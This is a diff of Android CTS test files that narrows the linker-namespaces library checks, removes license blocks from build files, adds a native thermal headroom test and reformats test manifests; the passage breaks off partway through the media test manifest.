index 2bd24b4..9afa958 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -331,33 +331,16 @@
         JNIEnv* env,
         jclass clazz,
         jobjectArray java_system_public_libraries,
-        jobjectArray java_runtime_public_libraries,
-        jobjectArray java_vendor_public_libraries,
-        jobjectArray java_product_public_libraries) {
+        jobjectArray java_runtime_public_libraries) {
   bool success = true;
   std::vector<std::string> errors;
   std::string error_msg;
-  std::unordered_set<std::string> vendor_public_libraries;
-  if (!jobject_array_to_set(env, java_vendor_public_libraries, &vendor_public_libraries,
-                            &error_msg)) {
-    success = false;
-    errors.push_back("Errors in vendor public library file:" + error_msg);
-  }
-
   std::unordered_set<std::string> system_public_libraries;
   if (!jobject_array_to_set(env, java_system_public_libraries, &system_public_libraries,
                             &error_msg)) {
     success = false;
     errors.push_back("Errors in system public library file:" + error_msg);
   }
-
-  std::unordered_set<std::string> product_public_libraries;
-  if (!jobject_array_to_set(env, java_product_public_libraries, &product_public_libraries,
-                            &error_msg)) {
-    success = false;
-    errors.push_back("Errors in product public library file:" + error_msg);
-  }
-
   std::unordered_set<std::string> runtime_public_libraries;
   if (!jobject_array_to_set(env, java_runtime_public_libraries, &runtime_public_libraries,
                             &error_msg)) {
@@ -411,21 +394,6 @@
     success = false;
   }
 
-  // Check the product libraries, if /product/lib exists.
-  if (is_directory(kProductLibraryPath.c_str())) {
-    if (!check_path(env, clazz, kProductLibraryPath, {kProductLibraryPath},
-                    product_public_libraries,
-                    /*test_system_load_library=*/false, /*check_absence=*/true, &errors)) {
-      success = false;
-    }
-  }
-
-  // Check the vendor libraries.
-  if (!check_path(env, clazz, kVendorLibraryPath, {kVendorLibraryPath}, vendor_public_libraries,
-                  /*test_system_load_library=*/false, /*check_absence=*/true, &errors)) {
-    success = false;
-  }
-
   if (!success) {
     std::string error_str;
     for (const auto& line : errors) {
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index 6cd2441..08267cc 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -188,7 +188,7 @@
 
         Collections.addAll(systemLibs, PUBLIC_SYSTEM_LIBRARIES);
         Collections.addAll(systemLibs, OPTIONAL_SYSTEM_LIBRARIES);
-        // System path could contain public ART libraries on foreign arch. http://b/149852946
+	// System path could contain public ART libraries on foreign arch. http://b/149852946
         if (isForeignArchitecture()) {
             Collections.addAll(systemLibs, PUBLIC_ART_LIBRARIES);
         }
@@ -200,22 +200,20 @@
 
         Collections.addAll(artApexLibs, PUBLIC_ART_LIBRARIES);
 
-        // Check if public.libraries.txt contains libs other than the
-        // public system libs (NDK libs).
+        // Check if /system/etc/public.libraries-company.txt and /product/etc/public.libraries
+        // -company.txt files are well-formed. The libraries however are not loaded for test;
+        // It is done in another test CtsUsesNativeLibraryTest because since Android S those libs
+        // are not available unless they are explicited listed in the app manifest.
 
         List<String> oemLibs = new ArrayList<>();
         String oemLibsError = readExtensionConfigFiles(PUBLIC_CONFIG_DIR, oemLibs);
         if (oemLibsError != null) return oemLibsError;
-        // OEM libs that passed above tests are available to Android app via JNI
-        systemLibs.addAll(oemLibs);
 
         // PRODUCT libs that passed are also available
         List<String> productLibs = new ArrayList<>();
         String productLibsError = readExtensionConfigFiles(PRODUCT_CONFIG_DIR, productLibs);
         if (productLibsError != null) return productLibsError;
 
-        List<String> vendorLibs = readPublicLibrariesFile(new File(VENDOR_CONFIG_FILE));
-
         // Make sure that the libs in grey-list are not exposed to apps. In fact, it
         // would be better for us to run this check against all system libraries which
         // are not NDK libs, but grey-list libs are enough for now since they have been
@@ -225,6 +223,7 @@
         // Note: check for systemLibs isn't needed since we already checked
         // /system/etc/public.libraries.txt against NDK and
         // /system/etc/public.libraries-<company>.txt against lib<name>.<company>.so.
+        List<String> vendorLibs = readPublicLibrariesFile(new File(VENDOR_CONFIG_FILE));
         for (String lib : vendorLibs) {
             if (greyListLibs.contains(lib)) {
                 return "Internal library \"" + lib + "\" must not be available to apps.";
@@ -232,15 +231,11 @@
         }
 
         return runAccessibilityTestImpl(systemLibs.toArray(new String[systemLibs.size()]),
-                                        artApexLibs.toArray(new String[artApexLibs.size()]),
-                                        vendorLibs.toArray(new String[vendorLibs.size()]),
-                                        productLibs.toArray(new String[productLibs.size()]));
+                                        artApexLibs.toArray(new String[artApexLibs.size()]));
     }
 
     private static native String runAccessibilityTestImpl(String[] publicSystemLibs,
-                                                          String[] publicRuntimeLibs,
-                                                          String[] publicVendorLibs,
-                                                          String[] publicProductLibs);
+                                                          String[] publicRuntimeLibs);
 
     private static void invokeIncrementGlobal(Class<?> clazz) throws Exception {
         clazz.getMethod("incrementGlobal").invoke(null);
@@ -386,27 +381,18 @@
     }
 
     public static String runDlopenPublicLibraries() {
-        String error;
-        try {
-            List<String> publicLibs = new ArrayList<>();
-            Collections.addAll(publicLibs, PUBLIC_SYSTEM_LIBRARIES);
-            Collections.addAll(publicLibs, PUBLIC_ART_LIBRARIES);
-            error = readExtensionConfigFiles(PUBLIC_CONFIG_DIR, publicLibs);
-            if (error != null) return error;
-            error = readExtensionConfigFiles(PRODUCT_CONFIG_DIR, publicLibs);
-            if (error != null) return error;
-            publicLibs.addAll(readPublicLibrariesFile(new File(VENDOR_CONFIG_FILE)));
-            for (String lib : publicLibs) {
-                String result = LinkerNamespacesHelper.tryDlopen(lib);
-                if (result != null) {
-                    if (error == null) {
-                        error = "";
-                    }
-                    error += result + "\n";
+        String error = null;
+        List<String> publicLibs = new ArrayList<>();
+        Collections.addAll(publicLibs, PUBLIC_SYSTEM_LIBRARIES);
+        Collections.addAll(publicLibs, PUBLIC_ART_LIBRARIES);
+        for (String lib : publicLibs) {
+            String result = LinkerNamespacesHelper.tryDlopen(lib);
+            if (result != null) {
+                if (error == null) {
+                    error = "";
                 }
+                error += result + "\n";
             }
-        } catch (IOException e) {
-            return e.toString();
         }
         return error;
     }
diff --git a/tests/tests/jvmti/attaching/Android.bp b/tests/tests/jvmti/attaching/Android.bp
index 2a6ce03..eb7f31f 100644
--- a/tests/tests/jvmti/attaching/Android.bp
+++ b/tests/tests/jvmti/attaching/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsJvmtiAttachingTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/jvmti/attaching/jni/Android.bp b/tests/tests/jvmti/attaching/jni/Android.bp
index 6e02fe5..5e84b2c 100644
--- a/tests/tests/jvmti/attaching/jni/Android.bp
+++ b/tests/tests/jvmti/attaching/jni/Android.bp
@@ -16,10 +16,6 @@
 // This is the shared library included by the JNI test app.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libjvmtiattachingtestagent1",
     gtest: false,
diff --git a/tests/tests/keystore/Android.bp b/tests/tests/keystore/Android.bp
index b464826..71a4035 100644
--- a/tests/tests/keystore/Android.bp
+++ b/tests/tests/keystore/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "cts-keystore-user-auth-helper-library",
 
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 191b3ca..a4a6267 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -155,6 +155,7 @@
         assertEquals(0, parseSystemOsVersion("99.99.100"));
     }
 
+    @RequiresDevice
     public void testEcAttestation() throws Exception {
         // Note: Curve and key sizes arrays must correspond.
         String[] curves = {
@@ -315,6 +316,7 @@
         }
     }
 
+    @RequiresDevice
     public void testRsaAttestation() throws Exception {
         int[] keySizes = { // Smallish sizes to keep test runtimes down.
                 512, 768, 1024
diff --git a/tests/tests/libcoreapievolution/Android.bp b/tests/tests/libcoreapievolution/Android.bp
index 1e41643..8cecd94 100644
--- a/tests/tests/libcoreapievolution/Android.bp
+++ b/tests/tests/libcoreapievolution/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLibcoreApiEvolutionTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/libcoreapievolution/TEST_MAPPING b/tests/tests/libcoreapievolution/TEST_MAPPING
new file mode 100644
index 0000000..40dc97e
--- /dev/null
+++ b/tests/tests/libcoreapievolution/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsLibcoreApiEvolutionTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/libcorefileio/Android.bp b/tests/tests/libcorefileio/Android.bp
index 7d1e7f4..e910c2f 100644
--- a/tests/tests/libcorefileio/Android.bp
+++ b/tests/tests/libcorefileio/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLibcoreFileIOTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/libcorefileio/AndroidManifest.xml b/tests/tests/libcorefileio/AndroidManifest.xml
index 1271089..7ef7c14 100644
--- a/tests/tests/libcorefileio/AndroidManifest.xml
+++ b/tests/tests/libcorefileio/AndroidManifest.xml
@@ -16,17 +16,17 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.libcorefileio.cts">
+     package="android.libcorefileio.cts">
 
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 
     <application>
         <uses-library android:name="android.test.runner"/>
         <service android:name="android.cts.LockHoldingService"
-                 android:process=":lockHoldingService"
-                 android:permission="android.permission.WRITE_EXTERNAL_STORAGE"
-        />
-        <receiver android:name="android.cts.FileChannelInterProcessLockTest$IntentReceiver">
+             android:process=":lockHoldingService"
+             android:permission="android.permission.WRITE_EXTERNAL_STORAGE"/>
+        <receiver android:name="android.cts.FileChannelInterProcessLockTest$IntentReceiver"
+             android:exported="true">
 
             <intent-filter>
                 <action android:name="android.cts.CtsLibcoreFileIOTestCases">
@@ -37,10 +37,9 @@
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.libcorefileio.cts">
+         android:targetPackage="android.libcorefileio.cts">
         <meta-data android:name="listener"
-                   android:value="com.android.cts.runner.CtsTestRunListener"/>
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/libcorelegacy22/Android.bp b/tests/tests/libcorelegacy22/Android.bp
index 351206e..eb64d08 100644
--- a/tests/tests/libcorelegacy22/Android.bp
+++ b/tests/tests/libcorelegacy22/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLibcoreLegacy22TestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/libcorelegacy22/TEST_MAPPING b/tests/tests/libcorelegacy22/TEST_MAPPING
new file mode 100644
index 0000000..acefbee
--- /dev/null
+++ b/tests/tests/libcorelegacy22/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsLibcoreLegacy22TestCases"
+    }
+  ]
+}
diff --git a/tests/tests/libnativehelper/Android.bp b/tests/tests/libnativehelper/Android.bp
index 9705db0..ba75d50 100644
--- a/tests/tests/libnativehelper/Android.bp
+++ b/tests/tests/libnativehelper/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsLibnativehelperTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/libnativehelper/jni/Android.bp b/tests/tests/libnativehelper/jni/Android.bp
index 36c4331..441a8d1 100644
--- a/tests/tests/libnativehelper/jni/Android.bp
+++ b/tests/tests/libnativehelper/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_library_shared {
     name: "libnativehelper_test_jni",
     cflags: [
@@ -37,4 +33,4 @@
     static_libs: ["libgmock_ndk"],
     whole_static_libs: ["libnativetesthelper_jni"],
     tidy: true,
-}
+}
\ No newline at end of file
diff --git a/tests/tests/libthermalndk/Android.bp b/tests/tests/libthermalndk/Android.bp
index c014942..ba58f2d 100644
--- a/tests/tests/libthermalndk/Android.bp
+++ b/tests/tests/libthermalndk/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsThermalTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/libthermalndk/jni/Android.bp b/tests/tests/libthermalndk/jni/Android.bp
index 20e4d2c..0990304 100644
--- a/tests/tests/libthermalndk/jni/Android.bp
+++ b/tests/tests/libthermalndk/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libctsthermal_jni",
     srcs: [
diff --git a/tests/tests/libthermalndk/jni/NativeThermalTest.cpp b/tests/tests/libthermalndk/jni/NativeThermalTest.cpp
index 62611fc..ae2dbad 100644
--- a/tests/tests/libthermalndk/jni/NativeThermalTest.cpp
+++ b/tests/tests/libthermalndk/jni/NativeThermalTest.cpp
@@ -25,6 +25,7 @@
 #include <inttypes.h>
 #include <time.h>
 #include <unistd.h>
+#include <math.h>
 #include <vector>
 
 #include <android/thermal.h>
@@ -256,6 +257,41 @@
     return returnJString(env, testThermalStatusListenerDoubleRegistration(env, obj));
 }
 
+static std::optional<std::string> testGetThermalHeadroom(JNIEnv *, jobject) {
+    AThermalTestContext ctx;
+    std::unique_lock<std::mutex> lock(ctx.mMutex);
+
+    ctx.mThermalMgr = AThermal_acquireManager();
+    if (ctx.mThermalMgr == nullptr) {
+        return "AThermal_acquireManager failed";
+    }
+
+    // Fairly light touch test only. More in-depth testing of the underlying
+    // Thermal API functionality is done against the equivalent Java API.
+
+    float headroom = AThermal_getThermalHeadroom(ctx.mThermalMgr, 0);
+    if (isnan(headroom)) {
+        // If the device doesn't support thermal headroom, return early.
+        // This is not a failure.
+        return std::nullopt;
+    }
+
+    if (headroom < 0.0f) {
+        return StringPrintf("Expected non-negative headroom but got %2.2f",
+                headroom);
+    }
+    if (headroom >= 10.0f) {
+        return StringPrintf("Expected reasonably small (<10) headroom but got %2.2f", headroom);
+    }
+
+    AThermal_releaseManager(ctx.mThermalMgr);
+    return std::nullopt;
+}
+
+static jstring nativeTestGetThermalHeadroom(JNIEnv *env, jobject obj) {
+    return returnJString(env, testGetThermalHeadroom(env, obj));
+}
+
 extern "C" JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void*) {
     JNIEnv* env;
     const JNINativeMethod methodTable[] = {
@@ -267,6 +303,8 @@
          (void*)nativeTestThermalStatusRegisterNullListener},
         {"nativeTestThermalStatusListenerDoubleRegistration", "()Ljava/lang/String;",
          (void*)nativeTestThermalStatusListenerDoubleRegistration},
+        {"nativeTestGetThermalHeadroom", "()Ljava/lang/String;",
+         (void*)nativeTestGetThermalHeadroom},
     };
     if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
         return JNI_ERR;
diff --git a/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java b/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java
index ab6d518..634ec56 100644
--- a/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java
+++ b/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java
@@ -47,6 +47,7 @@
     private native String nativeTestRegisterThermalStatusListener();
     private native String nativeTestThermalStatusRegisterNullListener();
     private native String nativeTestThermalStatusListenerDoubleRegistration();
+    private native String nativeTestGetThermalHeadroom();
 
     @Before
     public void setUp() throws Exception {
@@ -120,6 +121,19 @@
         }
     }
 
+    /**
+     * Test that getThermalHeadroom works
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testGetThermalHeadroom() throws Exception {
+        final String failureMessage = nativeTestGetThermalHeadroom();
+        if (!Strings.isNullOrEmpty(failureMessage)) {
+            fail(failureMessage);
+        }
+    }
+
     static {
         System.loadLibrary("ctsthermal_jni");
     }
diff --git a/tests/tests/match_flags/Android.bp b/tests/tests/match_flags/Android.bp
index 5411ad4..4a40784 100644
--- a/tests/tests/match_flags/Android.bp
+++ b/tests/tests/match_flags/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsMatchFlagTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/match_flags/app/a/Android.bp b/tests/tests/match_flags/app/a/Android.bp
index 1f084cb..8513fad 100644
--- a/tests/tests/match_flags/app/a/Android.bp
+++ b/tests/tests/match_flags/app/a/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsMatchFlagsUniqueAndSharedUri",
     manifest: "AndroidManifest.xml",
@@ -27,4 +23,4 @@
         "general-tests",
     ],
     sdk_version: "test_current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/match_flags/app/a/AndroidManifest.xml b/tests/tests/match_flags/app/a/AndroidManifest.xml
index 8ad54de..6ad9415 100644
--- a/tests/tests/match_flags/app/a/AndroidManifest.xml
+++ b/tests/tests/match_flags/app/a/AndroidManifest.xml
@@ -16,16 +16,17 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.matchflags.app.uniqueandshared">
+     package="android.matchflags.app.uniqueandshared">
     <application>
         <uses-library android:name="android.test.runner"/>
-        <activity android:name="android.matchflags.cts.app.TestActivity">
+        <activity android:name="android.matchflags.cts.app.TestActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW"/>
                 <category android:name="android.intent.category.BROWSABLE"/>
                 <category android:name="android.intent.category.DEFAULT"/>
                 <data android:scheme="https"
-                      android:host="unique-5gle2bs6woovjn8xabwyb3js01xl0ducci3gd3fpe622h48lyg.com"/>
+                     android:host="unique-5gle2bs6woovjn8xabwyb3js01xl0ducci3gd3fpe622h48lyg.com"/>
             </intent-filter>
             <intent-filter>
                 <action android:name="android.matchflags.app.UNIQUE_ACTION"/>
diff --git a/tests/tests/match_flags/app/b/Android.bp b/tests/tests/match_flags/app/b/Android.bp
index 6124641..868fa34 100644
--- a/tests/tests/match_flags/app/b/Android.bp
+++ b/tests/tests/match_flags/app/b/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsMatchFlagsSharedUri",
     manifest: "AndroidManifest.xml",
@@ -27,4 +23,4 @@
         "general-tests",
     ],
     sdk_version: "test_current",
-}
+}
\ No newline at end of file
diff --git a/tests/tests/match_flags/app/b/AndroidManifest.xml b/tests/tests/match_flags/app/b/AndroidManifest.xml
index 6d2c9d0..4a0d85a 100644
--- a/tests/tests/match_flags/app/b/AndroidManifest.xml
+++ b/tests/tests/match_flags/app/b/AndroidManifest.xml
@@ -16,10 +16,11 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.matchflags.app.shared">
+     package="android.matchflags.app.shared">
     <application>
         <uses-library android:name="android.test.runner"/>
-        <activity android:name="android.matchflags.cts.app.TestActivity">
+        <activity android:name="android.matchflags.cts.app.TestActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.matchflags.app.SHARED_ACTION"/>
                 <category android:name="android.intent.category.DEFAULT"/>
diff --git a/tests/tests/media/Android.bp b/tests/tests/media/Android.bp
index d2963c6..45f92b6 100644
--- a/tests/tests/media/Android.bp
+++ b/tests/tests/media/Android.bp
@@ -12,23 +12,16 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    // See: http://go/android-license-faq
-    // A large-scale-change added 'default_applicable_licenses' to import
-    // all of the 'license_kinds' from "cts_license"
-    // to get the below license kinds:
-    //   SPDX-license-identifier-Apache-2.0
-    //   SPDX-license-identifier-CC-BY
-    //   legacy_unencumbered
-    default_applicable_licenses: ["cts_license"],
-}
-
 java_library {
     name: "ctsmediautil",
     srcs: [
         "src/android/media/cts/CodecImage.java",
         "src/android/media/cts/YUVImage.java",
         "src/android/media/cts/CodecUtils.java",
+        "src/android/media/cts/CodecState.java",
+        "src/android/media/cts/MediaCodecTunneledPlayer.java",
+        "src/android/media/cts/MediaTimeProvider.java",
+        "src/android/media/cts/NonBlockingAudioTrack.java",
     ],
     sdk_version: "current",
 }
@@ -74,7 +67,10 @@
         "-0 .ota",
         "-0 .mxmf",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+        "aidl/**/*.aidl",
+    ],
     // This test uses private APIs
     //sdk_version: "current",
     platform_apis: true,
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index c24f26b..a94a1b4 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -15,153 +15,170 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.media.cts"
-    android:targetSandboxVersion="2">
+     package="android.media.cts"
+     android:targetSandboxVersion="2">
 
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
-    <uses-permission android:name="android.permission.RECORD_AUDIO" />
-    <uses-permission android:name="android.permission.WAKE_LOCK" />
-    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
-    <uses-permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER" />
-    <uses-permission android:name="android.permission.SET_MEDIA_KEY_LISTENER" />
-    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
-    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE" />
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
+    <uses-permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER"/>
+    <uses-permission android:name="android.permission.SET_MEDIA_KEY_LISTENER"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"/>
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
 
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 
-    <uses-permission android:name="android.permission.VIBRATE" />
+    <uses-permission android:name="android.permission.VIBRATE"/>
 
-    <permission android:name="android.media.cts" android:protectionLevel="normal" />
+    <permission android:name="android.media.cts"
+         android:protectionLevel="normal"/>
 
-    <application
-        android:networkSecurityConfig="@xml/network_security_config"
-        android:requestLegacyExternalStorage="true"
-        android:largeHeap="true">
-        <uses-library android:name="android.test.runner" />
-        <uses-library android:name="org.apache.http.legacy" android:required="false" />
+    <application android:networkSecurityConfig="@xml/network_security_config"
+         android:requestLegacyExternalStorage="true"
+         android:largeHeap="true">
+        <uses-library android:name="android.test.runner"/>
+        <uses-library android:name="org.apache.http.legacy"
+             android:required="false"/>
 
         <activity android:name="android.media.cts.MediaProjectionActivity"
-            android:label="MediaProjectionActivity"
-            android:screenOrientation="locked"/>
+             android:label="MediaProjectionActivity"
+             android:screenOrientation="locked"/>
         <activity android:name="android.media.cts.AudioManagerStub"
-            android:label="AudioManagerStub"/>
+             android:label="AudioManagerStub"/>
         <activity android:name="android.media.cts.AudioManagerStubHelper"
-            android:label="AudioManagerStubHelper"/>
+             android:label="AudioManagerStubHelper"/>
         <activity android:name="android.media.cts.DecodeAccuracyTestActivity"
-            android:label="DecodeAccuracyTestActivity"
-            android:screenOrientation="locked"
-            android:configChanges="mcc|mnc|keyboard|keyboardHidden|orientation|screenSize|navigation">
+             android:label="DecodeAccuracyTestActivity"
+             android:screenOrientation="locked"
+             android:configChanges="mcc|mnc|keyboard|keyboardHidden|orientation|screenSize|navigation"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
         <activity android:name="android.media.cts.MediaSessionTestActivity"
-                  android:label="MediaSessionTestActivity"
-                  android:screenOrientation="nosensor"
-                  android:configChanges="keyboard|keyboardHidden|orientation|screenSize">
+             android:label="MediaSessionTestActivity"
+             android:screenOrientation="nosensor"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
         <activity android:name="android.media.cts.MediaStubActivity"
-            android:label="MediaStubActivity"
-            android:screenOrientation="nosensor"
-            android:configChanges="keyboard|keyboardHidden|orientation|screenSize">
+             android:label="MediaStubActivity"
+             android:screenOrientation="nosensor"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
         <activity android:name="android.media.cts.MediaStubActivity2"
-            android:label="MediaStubActivity2"
-            android:screenOrientation="nosensor"
-            android:configChanges="keyboard|keyboardHidden|orientation|screenSize">
+             android:label="MediaStubActivity2"
+             android:screenOrientation="nosensor"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
         <activity android:name="android.media.cts.FaceDetectorStub"
-            android:label="FaceDetectorStub"/>
+             android:label="FaceDetectorStub"/>
         <activity android:name="android.media.cts.MediaPlayerSurfaceStubActivity"
-            android:label="MediaPlayerSurfaceStubActivity">
+             android:label="MediaPlayerSurfaceStubActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
         <activity android:name="android.media.cts.ResourceManagerStubActivity"
-            android:label="ResourceManagerStubActivity">
+             android:label="ResourceManagerStubActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
         <activity android:name="android.media.cts.ResourceManagerTestActivity1"
-            android:label="ResourceManagerTestActivity1"
-            android:process=":mediaCodecTestProcess1">
+             android:label="ResourceManagerTestActivity1"
+             android:process=":mediaCodecTestProcess1">
         </activity>
         <activity android:name="android.media.cts.ResourceManagerTestActivity2"
-            android:label="ResourceManagerTestActivity2"
-            android:process=":mediaCodecTestProcess2">
+             android:label="ResourceManagerTestActivity2"
+             android:process=":mediaCodecTestProcess2">
